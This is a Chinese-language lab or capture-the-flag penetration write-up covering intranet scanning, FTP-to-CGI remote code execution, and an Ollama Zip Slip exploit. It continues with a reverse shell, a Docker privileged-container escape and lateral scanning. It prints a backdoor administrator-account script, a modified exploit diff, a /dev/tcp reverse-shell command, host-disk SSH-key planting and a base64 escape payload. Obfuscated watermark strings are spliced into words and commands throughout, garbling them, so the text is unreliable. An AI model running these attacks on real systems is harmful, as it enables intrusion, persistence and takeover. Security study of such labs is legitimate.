[1.8s] [*] 端口开放 172.22.10.88:135
[7.8s] [*] 端口开放 172.22.10.88:3389
[43.2s] [*] 端口开放 172.22.10.88:47001
[44.7s] [*] 端口开放 172.22.10.88:49664
[44.7s] [*] 端口开放 172.22.10.88:49665
[44.7s] [*] 端口开放 172.22.10.88:49666
[44.7s] [*] 端口开放 172.22.10.88:49667
[44.7s] [*] 端口开放 172.22.10.88:49669
[44.7s] [*] 端口开放 172.22.10.88:49668
[44.7s] [*] 端口开放 172.22.10.88:49670
[44.8s] [*] 端口开放 172.22.10.88:49679
[55.1s]     扫描完成, 发现 15 个开放端口
[55.1s]     存活端口数量: 15
[55.1s]     开始漏洞扫描
[55.1s] [*] NetInfo 扫描结果
目标主机: 172.22.10.88
主机名: web02
发现的网络接口:
   IPv4地址:
      └─ 172.22.10.88
[55.1s] [*] 网站标题 http://172.22.10.88       状态码:200 长度:46     标题:无标题
[55.2s] [+] NetBios 172.22.10.88    WORKGROUP\WEB02
[55.2s]     POC加载完成: 总共387个,成功387个,失败0个
[55.2s] [+] FTP服务 172.22.10.88:21 匿名登录成功!
[1m18s]     扫描已完成: 10/10

ollama:

root@web01:~# sudo ./FScan_2.0.1_linux_x64 -h 172.22.10.17 -p 1-65535
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[1.8s]     已选择服务扫描模式
[1.8s]     开始信息扫描
[1.8s]     最终有效主机数量: 1
[1.8s]     开始主机扫描
[1.8s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s]     有效端口数量: 65535
[1.9s] [*] 端口开放 172.22.10.17:22
[2.2s] [*] 端口开放 172.22.10.17:11434
[3.6s]     扫描完成, 发现 2 个开放端口
[3.6s]     存活端口数量: 2
[3.6s]     开始漏洞扫描
[35.9s]     扫描已完成: 1/1

database:

root@web01:~# ./FScan_2.0.1_linux_x64 -h 172.22.10.7 -p 1-65535
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[1.8s]     已选择服务扫描模式
[1.8s]     开始信息扫描
[1.8s]     最终有效主机数量: 1
[1.8s]     开始主机扫描
[1.8s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s]     有效端口数量: 65535
[40.9s] [*] 端口开放 172.22.10.7:8080
[5m31s]     扫描完成, 发现 1 个开放端口
[5m31s]     存活端口数量: 1
[5m31s]     开始漏洞扫描
[5m32s]     POC加载完成: 总共387个,成功387个,失败0个
[5m32s] [*] 网站标题 http://172.22.10.7:8080   状态码:200 长度:6010   标题:金融数据库管理界面
[5m33s]     扫描已完成: 2/2

2. web02

172.22.10.88:21 匿名登录 FTP
172.22.10.88:80 对应 FTP 处的 Web 服务

使用 SFTP 读 FTP ꜱ3𝒗𝘦n.‌𝐬𝐢‍𝐭e资源,得到一个 .htaccessindex.html

Apache 文档 cgi 部分 可以发现,通过修改 𝐬‍⑶ven·𝒔i𝘵e‍.htaccess 可以把文件当作 cgi 直接执行

修改 .htaccs‍‌⑶𝒗ℯn∙‍𝐬i​‍𝒕e‌‌ess 为:

Options ExecCGI
SetHandler cgi-script

此时该目录下的所有文件会被当作 𝐬‍⑶𝒗e𝘯.‍𝐬𝘪​t𝘦‌​cgi 直接执行

编写一个 bat 𝒔​𝟯v𝘦𝒏.​𝐬𝘪​𝘵e‌脚本并上传到 FTP 目录下:

@echo off

echo Content-Type: text/plain

echo:
dir C:\Users\Administrator\Desktop

echo:
type C:\Users\Administrator\Desktop\f1ag.txt

echo:
net user s3ven xxxxxx /add && net localgroup administrators s3ven /add

:: 或者直接修改administrator的密码
:: net user administrator xxxxxx

访问对应路由即𝒔‍𝟯𝐯e𝒏․‌𝘴i‍𝒕𝘦‌‍可实现回显 RCE:

curl http://172.22.10.88/1.bat | iconv -f gbk -t utf-8

使用创建的用户或 administrator ѕ​𝟯ve𝘯․‍𝒔i‍𝐭e‍‍登录 RDP 后查看网卡:

PS C:\Windows\system32> ipconfig

Windows IP 配置


以太网适配器 以太网:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::d497:7e6e:9a96:1023%6
   IPv4 地址 . . . . . . . . . . . . : 172.22.10.88
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 172.22.10.253

只有一张网卡,没有多余的网卡,ꜱ‍3ⅴ𝐞n∙‍ѕi𝐭𝘦​因此不需要进一步横向,同时系统中也没有什么有用的文件和信息

3. ollama

172.22.10.17:11434 存在 ollama 服务

先查看一下 olla𝐬​​³𝘷e𝐧.‌‍ꜱⅈ𝐭e​‌ma 的版本

curl http://172.22.10.17:11434/api/version

{"version":"0.1.46"}

版本号为 0.𝘀‍³𝐯en∙​𝘀ⅈ𝐭e‍1.46,存在 Zip Slip 漏洞,但是该漏洞需要先有一个可用模型才能触发

curl http://172.22.10.17:11434/api/tags

{"models":[]}

远程没有发现可用模型,且靶机没有网无法 pull 模型,𝐬‍𝟯𝘷en․‌s𝘪‌t℮‌需要本地上传模型来触发漏洞

使用 Ollama CVE-2024-45436 Exploit,修改为本地上传 gguf 然后手动 𝒔‌⑶𝐯℮𝐧∙𝐬i​‌𝒕℮‌‍create 模型:

    with zipfile.ZipFile('evil.zip', 'w') as zipf:
        zipf.writestr('../../../../../../../../../../etc/ld.so.preload', '/tmp/hook.so')
        with open('hook.so', 'rb') as so_file:
            zipf.writestr('../../../../../../../../../../tmp/hook.so', so_file.read())
+		with open('all-minilm-22m.gguf', 'rb') as model_file:
+			zipf.writestr('../../../../../../../../../../tmp/all-minilm-22m.gguf', model_file.read())
    return True

-	json_content = json.dumps({"name": model})
+	json_content = json.dumps({"name": "all-minilm:22m", "modelfile": f"FROM /tmp/all-minilm-22m.gguf"})
    res = requests.post(
-		f"{target_url}/api/pull", 
+		f"{target_url}/api/create",
        headers={'Content-Type': 'application/json'}, 
        data=json_content,
-		timeout=120  # Allow longer timeout for model pull
+		timeout=10
    )

跑 exp 反弹 ꜱ‌‌3ve𝐧.‌‌𝘀ⅈ‍𝐭e‍shell:

proxychains python3 exp.py http://172.22.10.17:11434 "/bin/sh -i >& /dev/tcp/172.22.10.22/8083 0>&1"

拿到 shell 𝐬​𝟯𝘷𝐞𝒏.​​𝘀ⅈ‌‌t𝘦‍之后发现存在 .dockerenv,判断当前是在 docker 里:

$ ls -la /

-rwxr-xr-x   1 root root    0 Jul 14 05:23 .dockerenv

查看 docke𝘴𝟯ⅴ𝘦𝒏.‌ꜱ𝘪‍‌𝒕e‌r 容器权限:

$ grep -E 'Cap(Inh|Prm|Eff|Bnd|Amb):|Seccomp:' /proc/self/status

CapInh:	0000000000000000
CapPrm:	0000003fffffffff
CapEff:	0000003fffffffff
CapBnd:	0000003fffffffff
CapAmb:	0000000000000000
Seccomp:	0

发现当前容器为特权容器,𝘴‍‌³𝐯en.ꜱⅈ‍t𝘦直接挂载宿主机根目录并写入 ssh key:

$ lsblk -f

NAME   FSTYPE FSVER LABEL UUID FSAVAIL FSUSE% MOUNTPOINTS
vda                                           
|-vda1                                        
|-vda2                                        
`-vda3                           32.2G    13% /etc/hosts
                                              /etc/hostname
                                              /etc/resolv.conf
                                              /root/.ollama

$ mkdir /test && mount /dev/vda3 /test
$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdsRDDmr8YmYWyHqAnpDB46G3F9+nr6zhPxzfOQTJJ+" > /test/root/.ssh/authorized_keys

这里也可以传一个 cdk 𝘴‍³𝒗e𝒏.​‍𝘴i‌‌𝘵e‌​来自动化逃逸:

+	with open('cdk_linux_amd64', 'rb') as cdk_file:
+		zipf.writestr('../../../../../../../../../../tmp/cdk', cdk_file.read())
chmod +x /tmp/cdk
/tmp/cdk auto-escape "echo 'ZWNobyAic3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSURkc1JERG1yOFltWVd5SHFBbnBEQjQ2RzNGOStucjZ6aFB4emZPUVRKSisiID4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXM=' | base64 -d | bash"

all exploits are finished, auto exploit success!

ssh 登录后查看网卡:

root@Ollama:~# ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet6 fe80::42:2cff:fecb:7254  prefixlen 64  scopeid 0x20<link>
        ether 02:42:2c:cb:72:54  txqueuelen 0  (Ethernet)
        RX packets 16073  bytes 858401 (858.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 23199  bytes 415329894 (415.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.10.17  netmask 255.255.255.0  broadcast 172.22.10.255
        inet6 fe80::216:3eff:fe10:d9d4  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:10:d9:d4  txqueuelen 1000  (Ethernet)
        RX packets 502671  bytes 458217126 (458.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 231109  bytes 13688236 (13.6 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.20.11  netmask 255.255.255.0  broadcast 172.22.20.255
        inet6 fe80::216:3eff:fe10:d9e5  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:10:d9:e5  txqueuelen 1000  (Ethernet)
        RX packets 13188  bytes 1615163 (1.6 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 15242  bytes 2310239 (2.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 51086  bytes 4182773 (4.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 51086  bytes 4182773 (4.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

veth5a67c36: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::5471:18ff:fe4d:6e43  prefixlen 64  scopeid 0x20<link>
        ether 56:71:18:4d:6e:43  txqueuelen 0  (Ethernet)
        RX packets 16073  bytes 1083423 (1.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 23215  bytes 415331110 (415.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

扫描二层内网对应网段

root@Ollama:~# ./FScan_2.0.1_linux_x64 -h 172.22.20.0/24
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[3.4s]     已选择服务扫描模式
[3.4s]     开始信息扫描
[3.4s]     CIDR范围: 172.22.20.0-172.22.20.255
[3.4s]     generate_ip_range_full
[3.4s]     解析CIDR 172.22.20.0/24 -> IP范围 172.22.20.0-172.22.20.255
[3.4s]     最终有效主机数量: 256
[3.4s]     开始主机扫描
[3.4s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[3.4s] [*] 目标 172.22.20.11    存活 (ICMP)
[3.4s] [*] 目标 172.22.20.165   存活 (ICMP)
[3.4s] [*] 目标 172.22.20.25    存活 (ICMP)
[3.4s] [*] 目标 172.22.20.253   存活 (ICMP)
[3.4s] [*] 目标 172.22.20.38    存活 (ICMP)
[3.4s] [*] 目标 172.22.20.32    存活 (ICMP)
[6.4s]     存活主机数量: 6
[9.6s] [*] NetInfo 扫描结果
目标主机: 172.22.20.32
主机名: FPSRVFS02
发现的网络接口:
   IPv4地址:
      └─ 172.22.20.32             
[9.7s] [*] NetInfo 扫描结果
目标主机: 172.22.20.25
主机名: FPSRVAD01
发现的网络接口:
   IPv4地址:
      └─ 172.22.20.25
[9.7s] [*] NetInfo 扫描结果
目标主机: 172.22.20.165
主机名: FPSRVIIS03-2
发现的网络接口:
   IPv4地址:
      └─ 172.22.20.165
[9.7s] [*] NetInfo 扫描结果
目标主机: 172.22.20.38
主机名: FPSRVIIS03
发现的网络接口:
   IPv4地址:
      └─ 172.22.20.38
[9.7s] [+] NetBios 172.22.20.32    FPCORP\FPSRVFS02 
[9.7s] [+] NetBios 172.22.20.25    DC:FPCORP\FPSRVAD01
[9.7s] [+] NetBios 172.22.20.165   FPCORP\FPSRVIIS03-2
[9.7s] [+] NetBios 172.22.20.38    FPCORP\FPSRVIIS03

FPSRVIIS03:

root@Ollama:~# ./FScan_2.0.1_linux_x64 -h 172.22.20.38 -p 1-65535
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[1.8s]     已选择服务扫描模式
[1.8s]     开始信息扫描
[1.8s]     最终有效主机数量: 1
[1.8s]     开始主机扫描
[1.8s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s]     有效端口数量: 65535
[1.9s] [*] 端口开放 172.22.20.38:445
[1.9s] [*] 端口开放 172.22.20.38:80
[1.9s] [*] 端口开放 172.22.20.38:139
[1.9s] [*] 端口开放 172.22.20.38:135
[1.9s] [*] 端口开放 172.22.20.38:21
[7.9s] [*] 端口开放 172.22.20.38:3389
[10.1s] [*] 端口开放 172.22.20.38:5357
[10.9s] [*] 端口开放 172.22.20.38:5985
[13.9s] [*] 端口开放 172.22.20.38:8080
[13.9s] [*] 端口开放 172.22.20.38:8172
[38.1s] [*] 端口开放 172.22.20.38:47001
[39.3s] [*] 端口开放 172.22.20.38:49669
[39.3s] [*] 端口开放 172.22.20.38:49668
[39.3s] [*] 端口开放 172.22.20.38:49666
[39.3s] [*] 端口开放 172.22.20.38:49667
[39.3s] [*] 端口开放 172.22.20.38:49664
[39.3s] [*] 端口开放 172.22.20.38:49665
[39.3s] [*] 端口开放 172.22.20.38:49673
[39.3s] [*] 端口开放 172.22.20.38:49672
[39.3s] [*] 端口开放 172.22.20.38:49671
[48.2s]     扫描完成, 发现 20 个开放端口
[48.2s]     存活端口数量: 20
[48.2s]     开始漏洞扫描
[48.3s] [*] 网站标题 http://172.22.20.38       状态码:404 长度:315    标题:Not Found
[48.3s] [*] NetInfo 扫描结果
目标主机: 172.22.20.38
主机名: FPSRVIIS03
发现的网络接口:
   IPv4地址:
      └─ 172.22.20.38
[48.3s] [+] NetBios 172.22.20.38    FPCORP\FPSRVIIS03             
[48.3s]     POC加载完成: 总共387个,成功387个,失败0个
[48.3s] [+] FTP服务 172.22.20.38:21 匿名登录成功!
[48.3s] [*] 网站标题 http://172.22.20.38:8080  状态码:200 长度:5078   标题:IntraFetch
[48.3s] [*] 网站标题 https://172.22.20.38:8172 状态码:404 长度:0      标题:无标题
[1m11s]     扫描已完成: 16/16

FPSRVII𝘀​𝟯ⅴe𝘯•ѕi‌𝐭e‌S03-2:

root@Ollama:~# ./FScan_2.0.1_linux_x64 -h 172.22.20.165 -p 1-65535
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[1.8s]     已选择服务扫描模式
[1.8s]     开始信息扫描
[1.8s]     最终有效主机数量: 1
[1.8s]     开始主机扫描
[1.8s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s]     有效端口数量: 65535
[1.8s] [*] 端口开放 172.22.20.165:445
[1.8s] [*] 端口开放 172.22.20.165:139
[1.8s] [*] 端口开放 172.22.20.165:135
[7.8s] [*] 端口开放 172.22.20.165:3389
[9.9s] [*] 端口开放 172.22.20.165:5040
[10.8s] [*] 端口开放 172.22.20.165:5357
[39.4s] [*] 端口开放 172.22.20.165:49664
[39.4s] [*] 端口开放 172.22.20.165:49665
[39.4s] [*] 端口开放 172.22.20.165:49666
[39.4s] [*] 端口开放 172.22.20.165:49667
[39.4s] [*] 端口开放 172.22.20.165:49669
[39.4s] [*] 端口开放 172.22.20.165:49670
[39.4s] [*] 端口开放 172.22.20.165:49671
[39.4s] [*] 端口开放 172.22.20.165:49672
[39.4s] [*] 端口开放 172.22.20.165:49673
[48.2s]     扫描完成, 发现 15 个开放端口
[48.2s]     存活端口数量: 15
[48.2s]     开始漏洞扫描
[48.2s] [+] NetBios 172.22.20.165   FPCORP\FPSRVIIS03-2           
[48.2s] [*] NetInfo 扫描结果
目标主机: 172.22.20.165
主机名: FPSRVIIS03-2
发现的网络接口:
   IPv4地址:
      └─ 172.22.20.165
[57.5s]     扫描已完成: 7/7

FPSRVFS02:

root@Ollama:~# ./FScan_2.0.1_linux_x64 -h 172.22.20.32 -p 1-65535
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[1.8s]     已选择服务扫描模式
[1.8s]     开始信息扫描
[1.8s]     最终有效主机数量: 1
[1.8s]     开始主机扫描
[1.8s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s]     有效端口数量: 65535
[1.8s] [*] 端口开放 172.22.20.32:445
[1.8s] [*] 端口开放 172.22.20.32:135
[1.8s] [*] 端口开放 172.22.20.32:139
[8.8s] [*] 端口开放 172.22.20.32:3389
[12.1s] [*] 端口开放 172.22.20.32:5985
[43.9s] [*] 端口开放 172.22.20.32:47001
[45.2s] [*] 端口开放 172.22.20.32:49664
[45.2s] [*] 端口开放 172.22.20.32:49665
[45.2s] [*] 端口开放 172.22.20.32:49666
[45.2s] [*] 端口开放 172.22.20.32:49667
[45.2s] [*] 端口开放 172.22.20.32:49668
[45.2s] [*] 端口开放 172.22.20.32:49672
[45.2s] [*] 端口开放 172.22.20.32:49671
[45.2s] [*] 端口开放 172.22.20.32:49673
[45.2s] [*] 端口开放 172.22.20.32:49670
[45.3s] [*] 端口开放 172.22.20.32:49747
[55.2s]     扫描完成, 发现 16 个开放端口
[55.2s]     存活端口数量: 16
[55.2s]     开始漏洞扫描
[55.2s] [+] NetBios 172.22.20.32    FPCORP\FPSRVFS02              
[55.2s] [*] NetInfo 扫描结果
目标主机: 172.22.20.32
主机名: FPSRVFS02
发现的网络接口:
   IPv4地址:
      └─ 172.22.20.32
[1m18s]     扫描已完成: 7/7

FPSRVAD01:

root@Ollama:~# ./FScan_2.0.1_linux_x64 -h 172.22.20.25 -p 1-65535
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[1.8s]     已选择服务扫描模式
[1.8s]     开始信息扫描
[1.8s]     最终有效主机数量: 1
[1.8s]     开始主机扫描
[1.8s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s]     有效端口数量: 65535
[1.9s] [*] 端口开放 172.22.20.25:88
[1.9s] [*] 端口开放 172.22.20.25:464
[1.9s] [*] 端口开放 172.22.20.25:445
[1.9s] [*] 端口开放 172.22.20.25:53
[1.9s] [*] 端口开放 172.22.20.25:593
[1.9s] [*] 端口开放 172.22.20.25:139
[1.9s] [*] 端口开放 172.22.20.25:135
[1.9s] [*] 端口开放 172.22.20.25:636
[1.9s] [*] 端口开放 172.22.20.25:389
[7.9s] [*] 端口开放 172.22.20.25:3268
[7.9s] [*] 端口开放 172.22.20.25:3269
[7.9s] [*] 端口开放 172.22.20.25:3389
[12.1s] [*] 端口开放 172.22.20.25:5985
[12.1s] [*] 端口开放 172.22.20.25:5987
[16.1s] [*] 端口开放 172.22.20.25:9389
[43.2s] [*] 端口开放 172.22.20.25:47001
[44.7s] [*] 端口开放 172.22.20.25:49664
[44.7s] [*] 端口开放 172.22.20.25:49665
[44.7s] [*] 端口开放 172.22.20.25:49666
[44.7s] [*] 端口开放 172.22.20.25:49667
[44.7s] [*] 端口开放 172.22.20.25:49668
[44.7s] [*] 端口开放 172.22.20.25:49670
[44.7s] [*] 端口开放 172.22.20.25:49674
[44.7s] [*] 端口开放 172.22.20.25:49677
[44.7s] [*] 端口开放 172.22.20.25:49678
[44.7s] [*] 端口开放 172.22.20.25:49681
[44.7s] [*] 端口开放 172.22.20.25:49687
[44.7s] [*] 端口开放 172.22.20.25:49703
[44.7s] [*] 端口开放 172.22.20.25:49761
[45.0s] [*] 端口开放 172.22.20.25:50245
[54.9s]     扫描完成, 发现 30 个开放端口
[54.9s]     存活端口数量: 30
[54.9s]     开始漏洞扫描
[55.0s] [*] NetInfo 扫描结果
目标主机: 172.22.20.25
主机名: FPSRVAD01
发现的网络接口:
   IPv4地址:
      └─ 172.22.20.25
[55.0s] [+] NetBios 172.22.20.25    DC:FPCORP\FPSRVAD01        
[55.0s]     POC加载完成: 总共387个,成功387个,失败0个
[3m52s]     扫描已完成: 11/11

这里的四台 Windows ѕ​³𝒗en.​ꜱ𝐢t𝐞‌​域机器已经在赛后完成复现,ѕ‍³ve𝒏․​𝘀𝐢‍𝘵e​但考虑到目前没有文章公开过程,在这里不直接给出 WriteUp,如有疑问可邮件联系我讨论。后续如有文章公开过程会在此处放上该部分的 WriteUp。